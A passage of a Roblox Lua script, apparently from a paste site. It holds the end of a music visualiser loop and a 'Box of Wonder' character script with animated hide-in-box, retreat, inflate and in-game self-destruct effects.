  1469.  
  1470. ogsizeo = meshyo.Scale
  1471. ogsizeo2 = meshyo2.Scale
  1472. ogsizeo3 = meshyo3.Scale
  1473. ogsizeo4 = meshyo4.Scale
  1474. end
  1475. meshy.Scale = meshy.Scale:lerp(Vector3.new(ogsize.X+sound.PlaybackLoudness/600*3.5,ogsize.Y+sound.PlaybackLoudness/600*3.5,ogsize.Z+sound.PlaybackLoudness/525*3.5),0.8)
  1476. meshy2.Scale = meshy2.Scale:lerp(Vector3.new(ogsize2.X+sound.PlaybackLoudness/500*3.5,ogsize2.Y+sound.PlaybackLoudness/500*3.5,ogsize2.Z+sound.PlaybackLoudness/500*3.5),0.8)
  1477. meshy3.Scale = meshy3.Scale:lerp(Vector3.new(1,0.035,ogsize3.Z+sound.PlaybackLoudness/100*7),0.8)
  1478. meshy4.Scale = meshy4.Scale:lerp(Vector3.new(1,0.035,ogsize4.Z+sound.PlaybackLoudness/100*7.25),0.8)
  1479. meshy5.Scale = meshy5.Scale:lerp(Vector3.new(1,0.035,ogsize5.Z+sound.PlaybackLoudness/100*7.5),0.8)
  1480. meshy6.Scale = meshy6.Scale:lerp(Vector3.new(1,0.035,ogsize6.Z+sound.PlaybackLoudness/100*7.75),0.8)
  1481. meshy7.Scale = meshy7.Scale:lerp(Vector3.new(1,0.035,ogsize7.Z+sound.PlaybackLoudness/100*8),0.8)
  1482. meshy8.Scale = meshy8.Scale:lerp(Vector3.new(1,0.035,ogsize8.Z+sound.PlaybackLoudness/100*8.25),0.8)
  1483. meshy9.Scale = meshy9.Scale:lerp(Vector3.new(1,0.035,ogsize9.Z+sound.PlaybackLoudness/100*8.5),0.8)
  1484. meshy10.Scale = meshy10.Scale:lerp(Vector3.new(1,0.035,ogsize10.Z+sound.PlaybackLoudness/100*8.75),0.8)
  1485. meshy11.Scale = meshy11.Scale:lerp(Vector3.new(1,0.035,ogsize11.Z+sound.PlaybackLoudness/100*9),0.8)
  1486. meshy12.Scale = meshy12.Scale:lerp(Vector3.new(1,0.035,ogsize12.Z+sound.PlaybackLoudness/100*9.25),0.8)
  1487. meshy13.Scale = meshy13.Scale:lerp(Vector3.new(1,0.035,ogsize13.Z+sound.PlaybackLoudness/100*9.5),0.8)
  1488. meshy14.Scale = meshy14.Scale:lerp(Vector3.new(1,0.035,ogsize14.Z+sound.PlaybackLoudness/100*9.75),0.8)
  1489. meshy15.Scale = meshy15.Scale:lerp(Vector3.new(1,0.035,ogsize15.Z+sound.PlaybackLoudness/100*10),0.8)
  1490.  
  1491. meshyo.Scale = meshyo.Scale:lerp(Vector3.new(ogsizeo.X+sound.PlaybackLoudness/250*7.5,0.15,ogsizeo.Z+sound.PlaybackLoudness/1000*250),0.8)
  1492. meshyo2.Scale = meshyo2.Scale:lerp(Vector3.new(ogsizeo2.X+sound.PlaybackLoudness/250*7.5,0.15,ogsizeo2.Z+sound.PlaybackLoudness/1000*250),0.8)
  1493. meshyo3.Scale = meshyo3.Scale:lerp(Vector3.new(ogsizeo3.X+sound.PlaybackLoudness/250*5,0.225,ogsizeo3.Z+sound.PlaybackLoudness/500*100),0.8)
  1494. meshyo4.Scale = meshyo4.Scale:lerp(Vector3.new(ogsizeo4.X+sound.PlaybackLoudness/250*5,0.225,ogsizeo4.Z+sound.PlaybackLoudness/500*100),0.8)
  1495. centralpart.Position = root.Position + Vector3.new(0,5,0)
  1496. centralpart3.Position = centralpart.Position
  1497. centralpart3.CFrame = centralpart3.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1498. centralpart4.Position = centralpart.Position
  1499. centralpart4.CFrame = centralpart4.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1500. centralpart5.Position = centralpart.Position
  1501. centralpart5.CFrame = centralpart5.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1502. centralpart6.Position = centralpart.Position
  1503. centralpart6.CFrame = centralpart6.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1504. centralpart7.Position = centralpart.Position
  1505. centralpart7.CFrame = centralpart7.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1506. centralpart8.Position = centralpart.Position
  1507. centralpart8.CFrame = centralpart8.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1508. centralpart9.Position = centralpart.Position
  1509. centralpart9.CFrame = centralpart9.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1510. centralpart10.Position = centralpart.Position
  1511. centralpart10.CFrame = centralpart10.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1512. centralpart11.Position = centralpart.Position
  1513. centralpart11.CFrame = centralpart11.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1514. centralpart12.Position = centralpart.Position
  1515. centralpart12.CFrame = centralpart12.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1516. centralpart13.Position = centralpart.Position
  1517. centralpart13.CFrame = centralpart13.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1518. centralpart14.Position = centralpart.Position
  1519. centralpart14.CFrame = centralpart14.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1520. centralpart15.Position = centralpart.Position
  1521. centralpart15.CFrame = centralpart15.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/750*25),0)
  1522.  
  1523. centralparto.Position = centralpart.Position
  1524. centralparto.CFrame = centralparto.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/1000*75),0)
  1525. centralparto2.Position = centralpart.Position
  1526. centralparto2.CFrame = centralparto2.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/1000*75),0)
  1527. centralparto3.Position = centralpart.Position
  1528. centralparto3.CFrame = centralparto3.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/1000*15),0)
  1529. centralparto4.Position = centralpart.Position
  1530. centralparto4.CFrame = centralparto4.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/1000*15),0)
  1531. centralpart.CFrame = centralpart.CFrame
  1532. centralpart2.CFrame = centralpart.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/250),0)
  1533. centralpart2a.CFrame = centralpart2.CFrame*CFrame.Angles(0,math.rad(sound.PlaybackLoudness/250),0)
  1534. eff.Rate = sound.PlaybackLoudness/3
  1535. eff.Speed = NumberRange.new(sound.PlaybackLoudness/5)
  1536. eff.Color = ColorSequence.new(Color3.new(sound.PlaybackLoudness/255,0,0))
  1537. eff.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,sound.PlaybackLoudness/75,0),NumberSequenceKeypoint.new(1,0,0)})
  1538. centralpart2a.Color = Color3.new(sound.PlaybackLoudness/400,0,0)
  1539. centralparto3.Color = Color3.new(sound.PlaybackLoudness/375,0,0)
  1540. centralparto4.Color = Color3.new(sound.PlaybackLoudness/375,0,0)
  1541.  
  1542. tecks2.TextColor3 = Color3.fromRGB(255,0,0)
  1543. tecks2.TextStrokeColor3 = Color3.fromHSV(0,0,0)
  1544. end
  1545. Visualiserpos.Position = Vector3.new(5+(max/10),0,0)
  1546. Visualiserpos2.Position = Vector3.new(-5-(max/10),0,0)
  1547. Main:BreakJoints()
  1548. Main.Anchored = false
  1549. TextButton14.Text = math.ceil((1-(TextButton13.Position.Y.Offset/50))*40)/40
  1550. TextButton34.Text = "Style: "..vismode
  1551. asdmax = max
  1552. asdvolume = TextButton9.Position
  1553. asdpitch = TextButton13.Position
  1554. asddist = TextButton30.Position
  1555. asdhi = TextButton26.Position
  1556. asdmi = TextButton22.Position
  1557. asdlo = TextButton18.Position
  1558. asdtext = TextBox3.Text
  1559. if synctarget == nil then
  1560. foundsound = false
  1561. else
  1562. if foundsound == false then
  1563. print("Trying to Sync...")
  1564. scan(synctarget.Character)
  1565. else
  1566. asdid = sound.SoundId
  1567. end
  1568. end
  1569. end
  1570.  
  1571. -- The Box of Wonder --
  1572.  
  1573. wait()
  1574. script.Parent = nil
  1575. LoudVolume = false
  1576. Submerged = false
  1577. Music = true
  1578. script.Name = "CardboardBox"
  1579. Player = game.Players.LocalPlayer
  1580. c = game.Players.LocalPlayer.Character
  1581. Head = c.Head
  1582. anim = c.Humanoid.Animator
  1583. Humanoid = c:findFirstChild("Humanoid")
  1584. b23 = Instance.new("BoolValue",c)b23.Name = "InfiniteHuman"
  1585. rage = false
  1586. p = game.Players.LocalPlayer
  1587. Music = false
  1588. W = nil
  1589. local Effects = {}
  1590. attack = false
  1591. local attacking = false
  1592. vt = Vector3.new
  1593. bc = BrickColor.new
  1594. br = BrickColor.random
  1595. it = Instance.new
  1596. cf = CFrame.new
  1597. euler = CFrame.fromEulerAnglesXYZ
  1598. angles = CFrame.Angles
  1599. matr = math.random
  1600. mouse = Player:GetMouse()
  1601.  
  1602. RSC0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1603. RSC1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1604. LSC0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  1605. LSC1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  1606. RHC0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1607. RHC1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  1608. LHC0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  1609. LHC1 = CFrame.new(-0.5, 1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  1610. NC0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  1611. NC1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  1612. RJC0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  1613. RJC1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  1614. RS = c.Torso:FindFirstChild("Right Shoulder")
  1615. LS = c.Torso:FindFirstChild("Left Shoulder")
  1616. RH = c.Torso:FindFirstChild("Right Hip")
  1617. LH = c.Torso:FindFirstChild("Left Hip")
  1618. RJ = c.HumanoidRootPart:FindFirstChild("RootJoint")
  1619. N = c.Torso:FindFirstChild("Neck")
  1620. cf = CFrame.new
  1621. ang = CFrame.Angles
  1622. rd = math.rad
  1623. rd2 = math.random
  1624.  
  1625. function lerpz(joint, prop, cfrmz, alp)
  1626. joint[prop] = joint[prop]:lerp(cfrmz, alp)
  1627. end
  1628. function resetlerp()
  1629. RJ.C0 = RJC0
  1630. RJ.C1 = RJC1
  1631. N.C0 = NC0
  1632. N.C1 = NC1
  1633. RS.C0 = RSC0
  1634. RS.C1 = RSC1
  1635. LS.C0 = LSC0
  1636. LS.C1 = LSC1
  1637. RH.C0 = RHC0
  1638. RH.C1 = RHC1
  1639. LH.C0 = LHC0
  1640. LH.C1 = LHC1
  1641. end
  1642.  
  1643. local S = Instance.new("Sound",c.HumanoidRootPart)S.SoundId = "rbxassetid://235529455" S.Volume = 3 S.Looped = true
  1644. function NukeShockwaves(Size, CFramez)
  1645. local Shock = Instance.new("Part",game.Workspace)Shock.Transparency = 0.5 Shock.Size = Vector3.new(0.2,0.2,0.2) Shock.Anchored = true
  1646. Shock.CanCollide = false Shock.BrickColor = BrickColor.new("Medium stone grey") local SM = Instance.new("SpecialMesh",Shock)
  1647. SM.MeshId = "rbxassetid://20329976" SM.Scale = Vector3.new(Size,5,Size) Shock.CFrame = CFramez*CFrame.new(0,1,0)*CFrame.Angles(0,math.rad(math.random(-360,360)),0)
  1648. Spawn(function()
  1649. for i = 1,math.huge do
  1650. if Shock.Transparency >= 1 then break end
  1651. Shock.Transparency = Shock.Transparency + 0.05
  1652. wait()
  1653. end
  1654. end)
  1655. end
  1656.  
  1657. function swait(num)
  1658. if num==0 or num==nil then
  1659. game:service'RunService'.Heartbeat:wait(0)
  1660. else
  1661. for i=0,num do
  1662. game:service'RunService'.Heartbeat:wait(0)
  1663. end
  1664. end
  1665. end
  1666.  
  1667. c.HumanoidRootPart.CFrame = c.HumanoidRootPart.CFrame*CFrame.new(0,3,0)
  1668. local P = Instance.new("Part",c)P.Size = Vector3.new(3,3,3)W = Instance.new("Weld",c.HumanoidRootPart)W.Part0 = c.HumanoidRootPart W.Part1 = P
  1669. P.TopSurface = "SmoothNoOutlines" P.BottomSurface = "SmoothNoOutlines" P.FrontSurface = "SmoothNoOutlines" P.BackSurface = "SmoothNoOutlines"
  1670. P.LeftSurface = "SmoothNoOutlines" P.RightSurface = "SmoothNoOutlines" P.BrickColor = BrickColor.new("Linen") P.Material = "SmoothPlastic"
  1671. local M = Instance.new("BlockMesh",P)
  1672. local tra = Instance.new("ParticleEmitter",P) tra.Color = ColorSequence.new(Color3.new(0/255,170/255,255/255)) tra.Texture = "rbxassetid://73623723"
  1673. tra.Rate = 2 tra.Rotation = NumberRange.new(-25,25) tra.Lifetime = NumberRange.new(1,2) tra.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,0.35,0),NumberSequenceKeypoint.new(1,0.35,0)})
  1674. tra.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,1,0),NumberSequenceKeypoint.new(0.135,0,0),NumberSequenceKeypoint.new(0.875,0,0),NumberSequenceKeypoint.new(1,1,0)})
  1675. tra.Speed = NumberRange.new(0.5) tra.VelocitySpread = 360 tra.ZOffset = 1 tra.Acceleration = Vector3.new(0,5,0) tra.Enabled = false
  1676. function SelfDestructBox()
  1677. local Sound = Instance.new("Sound",c.HumanoidRootPart) Sound.SoundId = "rbxassetid://256286242" Sound.Volume = 4 Sound:Play()
  1678. P.Touched:connect(function(Hit)
  1679. if Hit == c or Hit.Parent == c or Hit.Anchored == true then return end
  1680. for i,v in pairs(game.Workspace:children()) do
  1681. if v:findFirstChild("HumanoidRootPart")~= nil and v ~= c then
  1682. if (v.HumanoidRootPart.Position-c.HumanoidRootPart.Position).magnitude <= 25 then
  1683. v:findFirstChild("Humanoid"):TakeDamage(100)
  1684. end
  1685. end
  1686. end
  1687. Hit = true c.Parent = nil
  1688. local Shock = Instance.new("Part",game.Workspace)Shock.Transparency = 0 Shock.Size = Vector3.new(1,1,1) Shock.Anchored = true
  1689. Shock.CanCollide = false Shock.BrickColor = BrickColor.new("Bright orange") Shock.Material = "Neon" local SM = Instance.new("SpecialMesh",Shock)
  1690. Shock.CFrame = CFrame.new(P.Position) SM.MeshType = "Sphere"
  1691. P:remove()
  1692. local Pos = Shock.Position
  1693. local Sound = Instance.new("Sound",Shock) Sound.SoundId = "rbxassetid://258057783" Sound.Volume = 4 Sound.Parent = Shock Sound.PlaybackSpeed = 1 Sound:Play()
  1694. for i = 1,4 do
  1695. SM.Scale = SM.Scale + Vector3.new(i*2,i*2,i*2)
  1696. swait()
  1697. end
  1698. for i = 1,30 do
  1699. SM.Offset = Vector3.new(math.random(-2,2)/10,math.random(-2,2)/10,math.random(-2,2)/10)
  1700. NukeShockwaves(i*3,CFrame.new(Shock.Position))
  1701. swait()
  1702. end
  1703. for i = 1,30 do
  1704. Shock.Transparency = Shock.Transparency + 1/30
  1705. SM.Scale = SM.Scale + Vector3.new(i*0.025,i*0.025,i*0.025)
  1706. swait()
  1707. end
  1708. end)
  1709. end
  1710.  
  1711. sine = 0
  1712.  
  1713. Sadness = false
  1714.  
  1715. InBox = false local Speed
  1716. function HideInBox()
  1717. if InBox == false then Humanoid.WalkSpeed = 6 S:Play()
  1718. Humanoid.HipHeight = -0.5 anim.Parent = nil InBox = true c.Head.Transparency = 1
  1719. for i = 1,10 do
  1720. lerpz(RJ, "C0", RJC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.1)
  1721. lerpz(N, "C0", NC0 * cf(0, 0, -1) * ang(rd(0), rd(0), rd(0)), 0.1)
  1722. lerpz(RS, "C0", RSC0 * cf(0, 0, -2) * ang(rd(0), rd(0), rd(0)), 0.1)
  1723. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.1)
  1724. lerpz(LS, "C0", LSC0 * cf(0, 0, -2) * ang(rd(0), rd(0), rd(0)), 0.1)
  1725. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.1)
  1726. lerpz(RH, "C0", RHC0 * cf(0, 2.2, 0) * ang(rd(0), rd(0), rd(0)), 0.1)
  1727. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.1)
  1728. lerpz(LH, "C0", LHC0 * cf(0, 2.2, 0) * ang(rd(0), rd(0), rd(0)), 0.1)
  1729. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.1)
  1730. swait()
  1731. end
  1732. for i,v in pairs (c:children()) do if v.ClassName == "Accessory" then for i,v2 in pairs (v:children()) do if v2.ClassName == "Part" then
  1733. v2.Transparency = 1 end end end end tra.Enabled = true
  1734. while InBox == true do
  1735. if Sadness == true then
  1736. tra.Enabled = false
  1737. else
  1738. tra.Enabled = true
  1739. end
  1740. if attack == false then
  1741. local Beat = 1+(S.PlaybackLoudness)/2500
  1742. M.Scale = Vector3.new(Beat,Beat,Beat)
  1743. if (c.HumanoidRootPart.Velocity * Vector3.new(1, 0, 1)).magnitude > 4 then
  1744. sine = sine + 1 Humanoid.HipHeight = -0.5
  1745. lerpz(RJ, "C0", RJC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1746. lerpz(N, "C0", NC0 * cf(0, 0, -1) * ang(rd(0), rd(0), rd(0)), 0.5)
  1747. lerpz(RS, "C0", RSC0 * cf(0, 0, -2) * ang(rd(0), rd(0), rd(0)), 0.5)
  1748. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1749. lerpz(LS, "C0", LSC0 * cf(0, 0, -2) * ang(rd(0), rd(0), rd(0)), 0.5)
  1750. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1751. lerpz(RH, "C0", RHC0 * cf(0, 0.5, 0) * ang(rd(0), rd(0), rd(math.cos(sine/2)*15)), 0.5)
  1752. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1753. lerpz(LH, "C0", LHC0 * cf(0, 0.5, 0) * ang(rd(0), rd(0), rd(math.cos(sine/2)*15)), 0.5)
  1754. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1755. else Humanoid.HipHeight = -1.5
  1756. lerpz(RJ, "C0", RJC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.2)
  1757. lerpz(N, "C0", NC0 * cf(0, 0, -1) * ang(rd(0), rd(0), rd(0)), 0.2)
  1758. lerpz(RS, "C0", RSC0 * cf(0, 0, -2) * ang(rd(0), rd(0), rd(0)), 0.2)
  1759. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.2)
  1760. lerpz(LS, "C0", LSC0 * cf(0, 0, -2) * ang(rd(0), rd(0), rd(0)), 0.2)
  1761. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.2)
  1762. lerpz(RH, "C0", RHC0 * cf(0, 2.2, 0) * ang(rd(0), rd(0), rd(0)), 0.2)
  1763. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.2)
  1764. lerpz(LH, "C0", LHC0 * cf(0, 2.2, 0) * ang(rd(0), rd(0), rd(0)), 0.2)
  1765. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.2)
  1766. end
  1767. end
  1768. swait()
  1769. end
  1770. else InBox = false anim.Parent = Humanoid Humanoid.HipHeight = 0 Humanoid.WalkSpeed = 16 c.Head.Transparency = 0 S:Stop()
  1771. for i,v in pairs (c:children()) do if v.ClassName == "Accessory" then for i,v2 in pairs (v:children()) do if v2.ClassName == "Part" then
  1772. v2.Transparency = 0 end end end end tra.Enabled = false
  1773. M.Scale = Vector3.new(1,1,1)
  1774. for i = 1,10 do
  1775. lerpz(RJ, "C0", RJC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.25)
  1776. lerpz(N, "C0", NC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.25)
  1777. lerpz(RS, "C0", RSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.25)
  1778. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.25)
  1779. lerpz(LS, "C0", LSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.25)
  1780. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.25)
  1781. lerpz(RH, "C0", RHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.25)
  1782. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.25)
  1783. lerpz(LH, "C0", LHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.25)
  1784. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.25)
  1785. swait()
  1786. end
  1787. end
  1788. end
  1789.  
  1790. WeegeeAttax = false
  1791. function WeegeeAttack()
  1792. WeegeeAttax = true
  1793. while WeegeeAttax == true do
  1794. swait()
  1795. for i,v in pairs (game.Workspace:children()) do
  1796. if v.Name == "Weegee" then
  1797. if v:findFirstChild("BodyVelocity")==nil then
  1798. local BV = Instance.new("BodyVelocity",v)BV.Velocity = v.CFrame.lookVector*-75
  1799. BV.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  1800. else
  1801. v:findFirstChild("BodyVelocity").Velocity = v.CFrame.lookVector*-75
  1802. end
  1803. v.CFrame = CFrame.new(v.CFrame:toWorldSpace(CFrame.new(0,0,0)).p,mouse.hit.p)
  1804. v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(180),0)
  1805. end
  1806. end
  1807. end
  1808. for i,v in pairs (game.Workspace:children()) do
  1809. if v.Name == "Weegee" then
  1810. if v:findFirstChild("BodyVelocity")~=nil then
  1811. v:findFirstChild("BodyVelocity"):remove()
  1812. end
  1813. end
  1814. end
  1815. end
  1816.  
  1817. function Retreat()
  1818. if Inflated == false then
  1819. anim.Parent = nil
  1820. local S = Instance.new("Sound",c.HumanoidRootPart)S.SoundId = "rbxassetid://202427593" S.Volume = 1 S:Play()
  1821. for i,v in pairs (c:children()) do if v.ClassName == "Accessory" then for i,v2 in pairs (v:children()) do if v2.ClassName == "Part" then
  1822. v2.Transparency = 1 end end end end
  1823. for i = 1,4 do
  1824. lerpz(RJ, "C0", RJC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1825. lerpz(N, "C0", NC0 * cf(0, 0, -1) * ang(rd(0), rd(0), rd(0)), 0.75)
  1826. lerpz(RS, "C0", RSC0 * cf(0, 0, -2) * ang(rd(0), rd(0), rd(0)), 0.75)
  1827. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1828. lerpz(LS, "C0", LSC0 * cf(0, 0, -2) * ang(rd(0), rd(0), rd(0)), 0.75)
  1829. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1830. lerpz(RH, "C0", RHC0 * cf(0, 2.2, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1831. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1832. lerpz(LH, "C0", LHC0 * cf(0, 2.2, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1833. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1834. swait()
  1835. end
  1836. for i = 1,100 do
  1837. Humanoid.HipHeight = -1.5 c.HumanoidRootPart.Velocity = c.HumanoidRootPart.CFrame.lookVector*100
  1838. W.C0 = W.C0*CFrame.Angles(math.rad(-15),0,0)
  1839. swait()
  1840. end
  1841. W.C0 = CFrame.Angles(0,0,0)
  1842. if InBox == false then
  1843. for i,v in pairs (c:children()) do if v.ClassName == "Accessory" then for i,v2 in pairs (v:children()) do if v2.ClassName == "Part" then
  1844. v2.Transparency = 0 end end end end anim.Parent = Humanoid
  1845. for i = 1,10 do
  1846. swait()
  1847. end
  1848. end
  1849. else
  1850. anim.Parent = nil
  1851. local S = Instance.new("Sound",c.HumanoidRootPart)S.SoundId = "rbxassetid://202427593" S.Volume = 1 S:Play()
  1852. for i,v in pairs (c:children()) do if v.ClassName == "Accessory" then for i,v2 in pairs (v:children()) do if v2.ClassName == "Part" then
  1853. v2.Transparency = 1 end end end end
  1854. if InBox == false then
  1855. for i = 1,4 do
  1856. lerpz(RJ, "C0", RJC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1857. lerpz(N, "C0", NC0 * cf(0, 0, -1) * ang(rd(0), rd(0), rd(0)), 0.75)
  1858. lerpz(RS, "C0", RSC0 * cf(0, 0, -2) * ang(rd(0), rd(0), rd(0)), 0.75)
  1859. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1860. lerpz(LS, "C0", LSC0 * cf(0, 0, -2) * ang(rd(0), rd(0), rd(0)), 0.75)
  1861. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1862. lerpz(RH, "C0", RHC0 * cf(0, 2.2, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1863. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1864. lerpz(LH, "C0", LHC0 * cf(0, 2.2, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1865. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.75)
  1866. swait()
  1867. end
  1868. end
  1869. for i = 1,100 do
  1870. c.HumanoidRootPart.Velocity = c.HumanoidRootPart.CFrame.lookVector*100
  1871. W.C0 = W.C0*CFrame.Angles(math.rad(-15),0,0)
  1872. swait()
  1873. end
  1874. if InBox == false then
  1875. resetlerp()
  1876. end
  1877. W.C0 = CFrame.Angles(0,0,0)
  1878. if InBox == false then
  1879. for i,v in pairs (c:children()) do if v.ClassName == "Accessory" then for i,v2 in pairs (v:children()) do if v2.ClassName == "Part" then
  1880. v2.Transparency = 0 end end end end anim.Parent = Humanoid
  1881. for i = 1,10 do
  1882. lerpz(RJ, "C0", RJC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1883. lerpz(N, "C0", NC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1884. lerpz(RS, "C0", RSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1885. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1886. lerpz(LS, "C0", LSC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1887. lerpz(LS, "C1", LSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1888. lerpz(RH, "C0", RHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1889. lerpz(RH, "C1", RHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1890. lerpz(LH, "C0", LHC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1891. lerpz(LH, "C1", LHC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1892. swait()
  1893. end
  1894. end
  1895. end
  1896. end
  1897. Inflated = false
  1898. function Inflate()
  1899. if Inflated == false then
  1900. local Charge = 0 S.Volume = 10
  1901. for i = 1,75 do Charge = Charge + 0.1 c.HumanoidRootPart.Anchored = true Inflated = true Humanoid.HipHeight = Humanoid.HipHeight + 0.05
  1902. P.Size = P.Size+Vector3.new(Charge*0.1,Charge*0.1,Charge*0.1)W = Instance.new("Weld",c.HumanoidRootPart)W.Part0 = c.HumanoidRootPart W.Part1 = P
  1903. c.HumanoidRootPart.CFrame = c.HumanoidRootPart.CFrame*CFrame.new(0,1,0)
  1904. lerpz(RJ, "C0", RJC0 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1905. lerpz(N, "C0", NC0 * cf(0, 0, Charge*0.5) * ang(rd(0), rd(0), rd(0)), 0.5)
  1906. lerpz(RS, "C0", RSC0 * cf(0, 0, Charge*0.5) * ang(rd(0), rd(0), rd(0)), 0.5)
  1907. lerpz(RS, "C1", RSC1 * cf(0, 0, 0) * ang(rd(0), rd(0), rd(0)), 0.5)
  1908. lerpz(LS, "C0", LSC0 * cf(0, 0, Charge*0.5) * ang(rd(0), rd(0), rd(0)), 0.5)
